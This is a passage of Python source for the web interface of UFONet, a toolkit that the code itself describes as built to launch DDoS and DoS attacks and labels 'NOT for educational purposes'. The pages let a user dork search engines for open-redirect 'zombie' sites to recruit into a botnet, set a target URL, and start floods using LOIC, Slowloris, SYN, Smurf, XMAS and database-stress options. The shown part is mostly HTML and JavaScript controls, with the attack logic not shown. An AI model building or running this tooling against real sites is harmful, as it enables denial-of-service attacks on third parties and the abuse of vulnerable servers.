8tHthvLG29GcMiWCgCCODftj6339g18gjX/gaOECEsc19sArjLluKAliGude8tzHzU5X+mJqAR2Gq/3i4xfNhhN9aAYtUORl4zk9frjAF2FeE6UE+3AJ4sYSHzQb2EOGepvaeIowV4deYklKnAbP8Ojnd5x0b5YsiPA9c7qcwN3gdGBBU+MHGYKtyC3B2wO8stg8aBdwfxhminkXQBlNd5gLK4xSRF3xjF7ykWA5VbgdO8dOZafwfcIwIS0K9BCwDtMAkHjgGWLUJgR8FvCPCchcU233oOcC5pOfONCtYCuxZrKpwhHVoAfwbONRPaybxF+BXUYKXpAEjtAS2w4QGL8MExnzgSuCbYMAuwHnAGZTXWypLwn+MCMMdrkE1MAJMDgGPTGA2cIYIj0btIFXJM2yc/KnWKujp17coRgBnivBJTPN/H3CIn+bU42HgLBHmltJJKrPn2LfRcdYq6O3XGjDx6ueI8O8E5v9s4Hq8j0ga8SVwmghPuOgs1emz7N50MHCwNU0r8c76K/tWvkqEhQnO/TbAMHzgUJpwv30JfOuqw0zlz1Oll1UEu+dcISzAnOo+iMm+u7JM890JuBVzzdjCy1/Z8DrGzXuk644zXYvPKoQd+b4seR9MkEvW4huWY7zyxgLPA0+JsDRF89wbc2V7LKYUela2TBMwSVDewyT1KGCi9lZgcgOujkk8sqlt/YFuKRrDm8Bl1l8jFuSuGKe9yehVTynUhWV2tj8btiTy863E1GKvS1s9D5OKbCzwLvC+DdJJ+9yuC5yPCSZKi5ItAB9aIf+fwIvwTUTe2RVzHXoIJpdjOfC2FfwRcT+o4qvxqlKFuXospiDaAS2t+VvXiv1b+D5HfbG2MG2ZiUucs9WBIcDewJ4kl81nVoO3+gRM3v8VMYxRMFfih9q2YdzTivGz+bMI/0lqLX05bo9SBaUFsI1VBoOArTDpt6NiKca9eXK9NskK+rwyjnOLespgc4ddf4w53LtfhM+SHpdXAB5xCMsqdn+9Osafo+73ThjnsoX12oJ6v38NfJZEOu4Sx7dhPWWwjbUCw2AB5oblHyKMKedYvALw8ChNGbTDHB5uZ9sGmHOlutbSWjDj67e0HPL+P0bNivzWEG8yAAAAAElFTkSuQmCC")
  1531. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1532. function Start() {
  1533. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1534. }
  1535. </script>
  1536. <script type="text/javascript">
  1537. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1538. var delay=1;
  1539. var currentChar=1;
  1540. var destination="tt";
  1541. function type()
  1542. {
  1543. if (document.getElementById)
  1544. {
  1545. var dest=document.getElementById(destination);
  1546. if (dest)
  1547. {
  1548. dest.innerHTML=text.substr(0, currentChar);
  1549. currentChar++
  1550. if (currentChar>text.length)
  1551. {
  1552. currentChar=1;
  1553. setTimeout("type()", 5000);
  1554. }
  1555. else
  1556. {
  1557. setTimeout("type()", delay);
  1558. }
  1559. }
  1560. }
  1561. }
  1562. function startTyping(textParam, delayParam, destinationParam)
  1563. {
  1564. text=textParam;
  1565. delay=delayParam;
  1566. currentChar=1;
  1567. destination=destinationParam;
  1568. type();
  1569. }
  1570. </script>
  1571. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1572. </head>
  1573. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1574. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1575. <center><br><br><br><br>
  1576. <table><tr><td><img src="/ufonet-logo.png"></td><td>
  1577. <div class="ufo-cloud">
  1578. <ul>
  1579. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1580. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1581. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1582. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1583. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1584. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1585. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1586. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1587. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1588. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1589. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1590. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1591. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1592. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1593. </ul>
  1594. </div>
  1595. </td></tr></table><br>
  1596. <hr>
  1597. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1598. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1599. <script type="text/javascript">
  1600. startTyping(text, 80, "tt");
  1601. </script><hr><br />
  1602. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1603. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1604. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1605. }
  1606. </script>
  1607. <script>function Missions() {
  1608. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1609. }
  1610. </script>
  1611. <script>function Stats() {
  1612. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1613. }
  1614. </script>
  1615. <script>function Board() {
  1616. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1617. }
  1618. </script>
  1619. </head>
  1620. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1621. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1622. <center>
  1623. <table cellpadding="38" cellspacing="38">
  1624. <tr>
  1625. <td>
  1626. <div class="ringMenu">
  1627. <ul>
  1628. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1629. <li class="top"><a href="botnet">Botnet</a></li>
  1630. <li class="right"><a href="inspect">Inspect</a></li>
  1631. <li class="bottom"><a href="attack">Attack</a></li>
  1632. <li class="left"><a href="help">Help</a></li>
  1633. </ul>
  1634. </div>
  1635. </td>
  1636. <td>
  1637. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1638. <tr>
  1639. <td>
  1640. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1641. ----------------------------------
  1642. """ + self.options.version + """
  1643. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1644. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1645. -----------------------------------
  1646. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1647. - Your ranking is: <b>""" + str(self.ranking) + """</b>
  1648. """+str(self.current_tasks)+"""</td>
  1649. <td>
  1650. <table>
  1651. <tr>
  1652. <td><img src="/images/aliens/alien1.png" onclick="News()"></td>
  1653. <td><img src="/images/aliens/alien2.png" onclick="Missions()"></td>
  1654. </tr>
  1655. <tr>
  1656. <td><img src="/images/aliens/alien5.png" onclick="Stats()"></td>
  1657. <td><img src="/images/aliens/alien4.png" onclick="Board()"></td>
  1658. </tr>
  1659. </table>
  1660. </td>
  1661. </tr>
  1662. </table>
  1663. </td>
  1664. </tr>
  1665. </table>
  1666. <div id="cmdOut"></div>
  1667. """ + self.pages["/footer"]
  1668. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1669. function Requests() {
  1670. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1671. }
  1672. function Maps() {
  1673. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1674. win_map.resizeTo(screen.width,screen.height);
  1675. }
  1676. function Start(){
  1677. dork=document.getElementById("dork").value
  1678. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  1679. if (document.getElementById("autosearch").checked){
  1680. document.getElementById("autosearch").value = "on";
  1681. } else {
  1682. document.getElementById("autosearch").value = "off";
  1683. }
  1684. autosearch = document.getElementById("autosearch").value
  1685. if (document.getElementById("dork_list").checked){
  1686. document.getElementById("dork_list").value = "on";
  1687. } else {
  1688. document.getElementById("dork_list").value = "off";
  1689. }
  1690. dork_list = document.getElementById("dork_list").value
  1691. if(dork == "" && dork_list == "off" && autosearch == "off") {
  1692. window.alert("You need to enter a source for dorking...");
  1693. return
  1694. }else{
  1695. if (document.getElementById("all_engines").checked){
  1696. document.getElementById("all_engines").value = "on";
  1697. } else {
  1698. document.getElementById("all_engines").value = "off";
  1699. }
  1700. all_engines = document.getElementById("all_engines").value
  1701. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)
  1702. runCommandX("cmd_search",params)
  1703. }
  1704. }
  1705. function showHide()
  1706. {
  1707. if(document.getElementById("dork_list").checked)
  1708. {
  1709. document.getElementById("dork_pattern").style.display = "none";
  1710. document.getElementById("autosearch_pattern").style.display = "none";
  1711. }
  1712. else {
  1713. document.getElementById("dork_pattern").style.display = "";
  1714. document.getElementById("autosearch_pattern").style.display = "";
  1715. }
  1716. }
  1717. function showHideEngines()
  1718. {
  1719. if(document.getElementById("all_engines").checked)
  1720. {
  1721. document.getElementById("s_engine").style.display = "none";
  1722. }
  1723. else {
  1724. document.getElementById("s_engine").style.display = "";
  1725. }
  1726. }
  1727. function HideAll()
  1728. {
  1729. if(document.getElementById("autosearch").checked)
  1730. {
  1731. document.getElementById("s_engine").style.display = "none";
  1732. document.getElementById("dork_pattern").style.display = "none";
  1733. document.getElementById("list_pattern").style.display = "none";
  1734. document.getElementById("allengines_pattern").style.display = "none";
  1735. document.getElementById("all_engines").checked = false;
  1736. document.getElementById("dork_list").checked = false;
  1737. document.getElementById("dork").value = "";
  1738. }
  1739. else {
  1740. document.getElementById("s_engine").style.display = "";
  1741. document.getElementById("dork_pattern").style.display = "";
  1742. document.getElementById("list_pattern").style.display = "";
  1743. document.getElementById("allengines_pattern").style.display = "";
  1744. }
  1745. }
  1746. </script>
  1747. <script>function Blackholes() {
  1748. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1749. }
  1750. </script>
  1751. </head>
  1752. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1753. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1754. <center>
  1755. <table cellpadding="38" cellspacing="38">
  1756. <tr>
  1757. <td>
  1758. <div class="ringMenu">
  1759. <ul>
  1760. <li class="main"><a href="botnet">Botnet</a></li>
  1761. <li class="top"><a href="help">Help</a></li>
  1762. <li class="right"><a href="inspect">Inspect</a></li>
  1763. <li class="bottom"><a href="attack">Attack</a></li>
  1764. <li class="left"><a href="gui">RETURN</a></li>
  1765. </ul>
  1766. </div>
  1767. </td>
  1768. <td>
  1769. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1770. <tr><td>
  1771. <pre>
  1772. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  1773. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  1774. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  1775. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  1776. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  1777. * Search using this search engine: <select id="engines_list">
  1778. <!-- <option value="duck" selected>duck</option> [09/08/2016: deprecated! -> duck has removed 'inurl' operator]-->
  1779. <option value="bing">bing</option>
  1780. <option value="yahoo">yahoo</option>
  1781. <!-- <option value="google">google (no TOR!)</option>-->
  1782. <!-- <option value="yandex">yandex</option>-->
  1783. </select></div><div id="allengines_pattern" style="display:block;">
  1784. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div></form>
  1785. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  1786. <br><hr>
  1787. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  1788. <td>
  1789. <table cellpadding="5" cellspacing="2">
  1790. <tr>
  1791. <td><img src="/images/aliens/alien3.png" onclick="Blackholes()"></td>
  1792. </tr>
  1793. <tr>
  1794. <table><tr>
  1795. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  1796. </tr>
  1797. <tr><td><hr></td></tr>
  1798. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  1799. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  1800. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  1801. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  1802. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  1803. </table>
  1804. </table>
  1805. </td>
  1806. </tr></table>
  1807. </td>
  1808. </tr></table>
  1809. <hr>
  1810. <div id="cmdOut"></div>
  1811. """ + self.pages["/footer"]
  1812. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  1813. function Requests() {
  1814. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1815. }
  1816. function Grid() {
  1817. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1818. }
  1819. function Wargames() {
  1820. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1821. }
  1822. function ShowPanel() {
  1823. if (document.getElementById("extra_attack").checked){
  1824. document.getElementById("extra_panel").style.display = "block";
  1825. document.getElementById("loic").value = "";
  1826. document.getElementById("loris").value = "";
  1827. document.getElementById("ufosyn").value = "";
  1828. document.getElementById("spray").value = "";
  1829. document.getElementById("smurf").value = "";
  1830. document.getElementById("xmas").value = "";
  1831. document.getElementById("dbstress").value = "";
  1832. } else {
  1833. document.getElementById("extra_panel").style.display = "none";
  1834. document.getElementById("loic").value = "";
  1835. document.getElementById("loris").value = "";
  1836. document.getElementById("ufosyn").value = "";
  1837. document.getElementById("spray").value = "";
  1838. document.getElementById("smurf").value = "";
  1839. document.getElementById("xmas").value = "";
  1840. document.getElementById("dbstress").value = "";
  1841. }
  1842. }
  1843. function Maps() {
  1844. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  1845. win_map.resizeTo(screen.width,screen.height);
  1846. }
  1847. function Start(){
  1848. document.getElementById("attack_button").text = "STOP!"
  1849. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  1850. target=document.getElementById("target").value
  1851. String.prototype.startsWith = function(prefix){
  1852. return this.indexOf(prefix) === 0;
  1853. }
  1854. if(target.startsWith("http")){
  1855. path=document.getElementById("path").value
  1856. rounds=document.getElementById("rounds").value
  1857. dbstress=document.getElementById("dbstress").value
  1858. loic=document.getElementById("loic").value
  1859. loris=document.getElementById("loris").value
  1860. ufosyn=document.getElementById("ufosyn").value
  1861. spray=document.getElementById("spray").value
  1862. smurf=document.getElementById("smurf").value
  1863. xmas=document.getElementById("xmas").value
  1864. if(ufosyn || spray || smurf || xmas){ // root required!
  1865. window.alert("You need 'root' access!. Check shell and enter your password.");
  1866. }
  1867. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)
  1868. if (document.getElementById("visual_attack").checked){
  1869. document.getElementById("visual_attack").value = "on";
  1870. } else {
  1871. document.getElementById("visual_attack").value = "off";
  1872. }
  1873. if(document.getElementById("visual_attack").value=="on"){
  1874. Maps()
  1875. }
  1876. }else{
  1877. window.alert("You need to enter a valid url: http(s)://target.com");
  1878. return
  1879. }
  1880. runCommandX("cmd_attack",params)
  1881. }
  1882. </script>
  1883. </head>
  1884. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1885. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1886. <center>
  1887. <table cellpadding="38" cellspacing="38">
  1888. <tr>
  1889. <td>
  1890. <div class="ringMenu">
  1891. <ul>
  1892. <li class="main"><a href="attack">Attack</a></li>
  1893. <li class="top"><a href="help">Help</a></li>
  1894. <li class="right"><a href="botnet">Botnet</a></li>
  1895. <li class="bottom"><a href="inspect">Inspect</a></li>
  1896. <li class="left"><a href="gui">RETURN</a></li>
  1897. </ul>
  1898. </div>
  1899. </td>
  1900. <td>
  1901. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1902. <tr><td>
  1903. <pre>
  1904. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1905. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  1906. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  1907. <hr>
  1908. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  1909. <hr><div id="extra_panel" style="display:none;">
  1910. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  1911. <td>* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>: <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  1912. <td>* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>: <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  1913. <td>* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>: <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  1914. <td>* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>: <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  1915. <td>* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>: <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  1916. <td>* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>: <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr></table>
  1917. <hr>
  1918. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  1919. <hr></div>
  1920. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  1921. </td><td>
  1922. <table><tr><td><img src="/images/aliens/alien6.png" onclick="Grid()"></td></tr><tr><td><img src="/images/aliens/alien8.png" onclick="Wargames()"></td></tr></table>
  1923. </td></tr></table>
  1924. </td></tr></table>
  1925. <hr>
  1926. <div id="cmdOut"></div>
  1927. """ + self.pages["/footer"]
  1928. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  1929. function show(one) {
  1930. var nb = document.getElementsByTagName("div");
  1931. for(var x=0; x<nb.length; x++) {
  1932. name = nb[x].getAttribute("class");
  1933. if (name == 'nb') {
  1934. if (nb[x].id == one) {
  1935. nb[x].style.display = 'block';
  1936. }
  1937. else {
  1938. nb[x].style.display = 'none';
  1939. }
  1940. }
  1941. }
  1942. }
  1943. </script>
  1944. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  1945. </head>
  1946. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1947. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1948. <center>
  1949. <table cellpadding="38" cellspacing="38">
  1950. <tr>
  1951. <td>
  1952. <div class="ringMenu">
  1953. <ul>
  1954. <li class="main"><a href="help">Help</a></li>
  1955. <li class="top"><a href="botnet">Botnet</a></li>
  1956. <li class="right"><a href="inspect">Inspect</a></li>
  1957. <li class="bottom"><a href="attack">Attack</a></li>
  1958. <li class="left"><a href="gui">RETURN</a></li>
  1959. </ul>
  1960. </div>
  1961. </td>
  1962. <td>
  1963. <table cellpadding="24" cellspacing="25" border="1">
  1964. <tr><td><pre>
  1965. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  1966. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  1967. and that allows to combine both in a single offensive.
  1968. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  1969. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  1970. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  1971. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  1972. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  1973. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  1974. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  1975. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  1976. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  1977. </div><div>
  1978. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  1979. If you have problems with UFONet, try to solve them following next links:
  1980. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  1981. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  1982. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  1983. - Coding; you can try to develop more features
  1984. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  1985. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  1986. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  1987. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  1988. </div></td> </tr></table> </td></tr></table>
  1989. """ + self.pages["/footer"]
  1990. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  1991. function Requests() {
  1992. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1993. }
  1994. function Abduction() {
  1995. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1996. }
  1997. function Start(){
  1998. target=document.getElementById("target").value
  1999. String.prototype.startsWith = function(prefix){
  2000. return this.indexOf(prefix) === 0;
  2001. }
  2002. if(target.startsWith("http")){
  2003. params="target="+escape(target)
  2004. }else{
  2005. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2006. return
  2007. }
  2008. runCommandX("cmd_inspect",params)
  2009. }
  2010. </script>
  2011. </head>
  2012. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2013. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2014. <center>
  2015. <table cellpadding="38" cellspacing="38">
  2016. <tr>
  2017. <td>
  2018. <div class="ringMenu">
  2019. <ul>
  2020. <li class="main"><a href="inspect">Inspect</a></li>
  2021. <li class="top"><a href="help">Help</a></li>
  2022. <li class="right"><a href="botnet">Botnet</a></li>
  2023. <li class="bottom"><a href="attack">Attack</a></li>
  2024. <li class="left"><a href="gui">RETURN</a></li>
  2025. </ul>
  2026. </div>
  2027. </td>
  2028. <td>
  2029. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2030. <tr>
  2031. <td>
  2032. <pre>
  2033. This feature will provide you the biggest file on target.
